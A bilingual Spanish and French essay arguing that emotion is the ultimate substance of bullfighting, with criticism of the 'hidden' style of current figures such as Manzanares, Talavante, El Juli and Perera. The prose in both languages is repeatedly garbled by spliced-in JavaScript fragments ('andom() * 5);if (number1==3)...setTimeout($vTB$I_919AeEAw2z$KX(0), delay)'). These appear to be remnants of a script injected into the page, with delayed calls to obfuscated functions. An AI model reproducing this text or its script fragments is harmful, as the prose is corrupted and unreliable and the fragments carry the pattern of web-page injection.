EL ARTE DE LA EMOCIÓNL’ART DE L’EMOTION

La sustancia última del toreo – y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando digo “toreo” me refiero al que se ha ido desarrollandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando a partir de la divisoria radical que encarna Juan Belmonte– es la emoción. A través de sus formas y actitudes, el toreo está ahí para acercarnos su origen espiritual; esto es: para revelarnos los sentimientos que alimentan la obra del torero y que, a su través, consiguen que los espectadores hayan llegado a contemplar la lidia más aún con su sentir que con los propios ojos.

Para llevarse a cabo, el toreo toma como punto de partida elementos espaciales –las figuras del toro y el torero– y el pulso temporal donde las acciones se desarrollan. Así pues, el toreo debe encuadrarse entre las artes espacio-temporales. El espacio pone el medio donde coexisten toro y torero y se desarrolla la acción, y el tiempo, como una música insonora, nos ofrece el diapasón de la armonía en que el toreo sitúa su efímero existir.

La articulación estructural de ese espacio-tiempo es la que pretende lograr la emoción deseada; emoción que puede presentarse bajo dos formas básicas: la emoción estética y la emoción del peligro; aunque, difícilmente se manifestará de forma aislada en una de ellas, sino como combinación de ambas en un porcentaje variable que dependerá de las características y el concepto torero con que el hombre de luces ilumine su alma y también, cómo no, de la condición del toro que éste tenga enfrente. Hago notar la omisión que he hecho de la técnica. De Perogrullo es afirmar que sin técnica no es posible el toreo, pero no lo es menos que, distinguiendo entre lo que el arte del toreo está llamado a expresar y los medios empleados para tal expresión, el arte empieza cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando acaba la técnica; esto es: la técnica no es más que un andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andamiaje para que sobre él se levante sólido, magnífico, el arte de torear.

Sin embargo, la técnica, considerada junto a la pureza como una unidad dialéctica de contrarios, puede influir para que el toreo se aparte de esa emoción a la que debería encaminarse. Eso ocurre actualmente cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, figuras del toreo como Manzanares, Talavante, El Juli o Perera, mienten la ligazón del toreo refugiándose en ese amaneramiento del “toreo escondido”: forma de denominar al que se practica girandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando en demasía –más de 180º– la pierna de salida entre pase y pase, y que, como todo lo fácil por ventajista, tanto ha prendido entre las coletas de alternativa y, lo que es peor, entre los chavales que acceden al toreo desde las categorías inferiores, pues no hemos de olvidar el importante papel que la emulación juega en este mundo complejo, mágico y extraordinario que conocemos por Tauromaquia.

La substance ultime du toreo –et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and je dis « toreo » je me réfère à  cette coupure radicale qu’incarne Juan Belmonte- c’est l’émotion. A travers ses formes et ses attitudes, le toreo est là pour nous rapprocher de son origine spirituelle, c'est-à-dire : pour nous révéler les sentiments qui alimentent l’œuvre du torero et qui par son intermédiaire permet aux spectateurs de sentir davantage la lidia avec leurs sensations qu’avec leurs propres yeux. Pour ce faire le toreo prend pour point de départ des éléments spatiaux –les figures du taureau et du torero- et la pulsation temporelle où les actions se déroulent. Ainsi donc le toreo doit figurer parmi les arts spatio-temporels.  L’espace devenant l’instrument pour que coexistent le taureau et le torero et se déroule l’action, et le temps, tel une musique insonore, nous offre le diapason de l’harmonie où le toreo place son éphémère existence.L’articulation structurelle de cet espace-temps est celle qui prétend atteindre l’émotion désirée ; émotion qui peut se présenter sous deux formes basiques : celle de l’émotion esthétique et celle de l’émotion provoquée par le danger ; même si, elle se manifestera rarement isolée pour chacune d’entre elles, mais plutôt comme une combinaison des deux avec un pourcentage variable qui dépendra des caractéristiques et du concept tauromachique avec lequel l’homme de lumières illumine son âme et aussi, n’est-ce pas, des conditions du taureau qu’il aura face à lui. Je signale avoir omis la technique. C’est une vérité de la Palice que d’affirmer que sans technique il n’y a pas de toreo possible, mais il n’en est pas moins qu’en faisant le distinguo entre ce que l’art du toreo devrait exprimer et les moyens mis en place pour y parvenir, l’art commence quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and s’achève la technique ; c’est cela : la technique n’est autre chose que l’échafaudage sur lequel s’élève solide, magnifique, l’art de toréer. Cependant, la technique considérée tout comme la pureté comme une unité dialectique de contraires peut influer pour que le toreo s’écarte de cette émotion vers laquelle il devrait s’engager. Cela arrive de nos jours quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and des figuras de la tauromachie comme Manzanares, Talavante, El Juli ou Perera mystifient l’enchaînement dans le toreo en se réfugiant dans le maniérisme du « toreo occulté » : une façon de nommer celui qui se pratique en déplaçant excessivement –plus de 180°- la jambe de sortie entre une passe et l’autre et qui comme tout ce qui est facile car avantageux a eu un tel succès auprès des toreros d’alternative et, ce qui est pire, parmi les garçons qui accèdent à la tauromachie depuis les catégories inférieures, car il ne faut pas oublier le rôle important que joue l’émulation dans ce monde complexe, magique et extraordinaire que nous connaissons comme la Tauromachie.

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